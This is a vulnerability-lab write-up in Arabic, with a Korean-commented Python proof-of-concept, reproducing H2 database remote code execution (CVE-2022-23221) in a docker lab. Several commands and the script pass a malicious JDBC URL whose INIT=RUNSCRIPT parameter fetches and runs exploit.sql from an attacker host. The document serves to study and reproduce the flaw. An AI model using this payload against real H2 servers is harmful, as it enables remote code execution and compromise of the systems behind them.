
vulhub/H2-database/CVE-2022-23221
H2 هو نظام إدارة قواعد بيانات علائقية يوفر إمكانية تجميع وتنفيذ كود Java مباشرةً داخل محرك SQL.
يقوم برنامج تشغيل H2 بتحليل JDBC URL لإنشاء الاتصال بين التطبيق وقاعدة البيانات. ومن خلال معاملات الإعداد المضمنة في عنوان URL، يمكن التحكم في الحالة الأولية لقاعدة البيانات أو سلوكها.
في الإصدارات الأقدم من H2 2.1.210، توجد مشكلة تسمح بتنفيذ نصوص SQL عن بُعد عبر معامل INIT في JDBC URL. يمكن للمهاجم استغلال ذلك لحقن نص SQL معدَّل عن بُعد وتنفيذ أوامر النظام من خلال صيغته الداخلية، مما يؤدي إلى حدوث ثغرة CVE-2022-23221.
تتميز هذه الثغرة بالخصائص التالية:
نطاق تأثر الثغرة
IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://attacker-ip/acttacker-file.sql’.
IGNORE_UNKNOWN_SETTINGS=TRUE, FORBID_CREATION=FALSE -> تجاوز الإعدادات الأمنية
INIT=RUNSCRIPT FROM 'http:/attacker-ip/acttacker-file.sql' -> أمر SQL يُنفَّذ تلقائيًا عند اتصال التطبيق بقاعدة البيانات
CREATE ALIAS.
CREATE ALIAS داخل النص البرمجي الذي سيُتنفَّذ عن بُعد تدفع H2 إلى تنفيذ دوال Java الموجودة في النص البرمجي ضمن قاعدة البيانات، مما يؤدي في النهاية إلى حدوث RCE.السيناريو
id وwhoami وpwd، فهذا يعني أن بيئة H2 الضعيفة قد تم إعدادها، وأن ملف exploit.sql قد تم تنزيله عن بُعد وتنفيذه من خادم attacker الخارجي أثناء قيام H2 بتحليل JDBC URL الخبيث.إعداد البيئة
docker compose up -d

http://your-ip:8082tcp://your-ip:9092http://your-ip:8000 : يوفّر ملف exploit.sqlبعد إعداد البيئة، عند الدخول إلى http://your-ip:8082 تظهر صفحة H2 على الويب.
: نظرًا لأن سياسات الأمان مطبَّقة في وحدة التحكم على الويب، فقد تتم تصفية المعاملات التي تشكّل شروط الثغرة، لذلك نقوم بإعادة إنتاج الثغرة بإدخال JDBC URL يحتوي على معاملات خبيثة مباشرةً عبر CLI ثم التحقق من النتائج.
JDBC URL عادي: "jdbc:h2:mem:test"
أمر الطلب العادي
docker exec h2-vulnerable java -cp /h2-bin/h2.jar org.h2.tools.Shell \
-url "jdbc:h2:mem:test" \
-user sa \
-password ""
نتيجة التنفيذ

يتم إدخال JDBC URL الخبيث إلى برنامج تشغيل H2 لمحاولة الاتصال بخادم attacker. توجد طريقتان لإدخال عنوان URL:
docker exec h2-vulnerable java -cp /h2-bin/h2.jar org.h2.tools.Shell \
-url "jdbc:h2:tcp://h2-vulnerable:9092/mem:test;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://attacker:8000/exploit.sql'" \
-user sa \
-password ""
python3 poc.py

وفقًا لمعامل INIT المحدد في JDBC URL، وهو INIT=RUNSCRIPT FROM 'http://attacker:8000/exploit.sql'، يقوم H2 بطلب (HTTP GET) ملف exploit.sql من خادم attacker وينفذه داخل قاعدة بيانات H2.
docker logs attacker، يمكنك ملاحظة سجلات طلبات ملف exploit.sql الواردة من خادم h2-vulnerable.docker logs attacker

#!/usr/bin/env python3
# 목적: CVE-2022-23221 H2 Database RCE 상황을 재현하고자 함.
# 과정: 검증 우회 파라미터와 Java 명령어가 포함된 JDBC URL을 H2로 전송하여 원격 코드 실행 공격을 수행함.
import subprocess
import time
import sys
"""
함수 이름: exploit_h2()
기능: H2 DB에 악의적인 JDBC URL을 전달하여 공격을 수행한다.
반환값: True->공격 성공, False->공격 실패
"""
def exploit_h2():
# H2 서버 준비 대기
time.sleep(3)
# 검증 우회 파라미터가 포함된 JDBC URL
# IGNORE_UNKNOWN_SETTINGS=TRUE: H2의 입력 검증을 우회함
# FORBID_CREATION=FALSE: 원격 DB 생성에 대한 경계를 제거함
# INIT=RUNSCRIPT FROM: 연결(시작) 시 원격 SQL 스크립트를 실행함
jdbc_url = "jdbc:h2:tcp://h2-vulnerable:9092/mem:test;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://attacker:8000/exploit.sql'"
try:
# H2 Shell을 통해서 악의적인 JDBC URL로 연결됨
cmd = [
'docker', 'exec', 'h2-vulnerable',
'java', '-cp', '/h2-bin/h2.jar',
'org.h2.tools.Shell',
'-url', jdbc_url,
'-user', 'sa',
'-password', ''
]
# Docker 명령어 실행 및 결과
result = subprocess.run(
cmd,
capture_output=True,
text=True,
timeout=15
)
return True
except Exception as e:
print(f"[-] 에러: {e}")
return False
"""
함수 이름: main()
기능: 공격 실행 및 공격 성공여부를 출력한다.
반환값: 없음
"""
def main():
if exploit_h2():
print("[+] 공격 완료")
else:
print("[-] 공격 실패")
sys.exit(1)
if __name__ == "__main__":
main()
نتيجة لتنفيذ ملف exploit.sql، تظهر في سجلات خادم h2-vulnerable السلسلة “EXPLOITED” مع نتائج تنفيذ الأوامر id وwhoami وpwd.
يمكن التحقق من السجلات باستخدام docker logs h2-vulnerable.
docker logs h2-vulnerable`

=> هذا يعني أن بيئة h2 الضعيفة قد تم إعدادها، وأن تنزيل الملف عن بُعد وتنفيذه نجحا أثناء قيام H2 بتحليل JDBC URL الخبيث.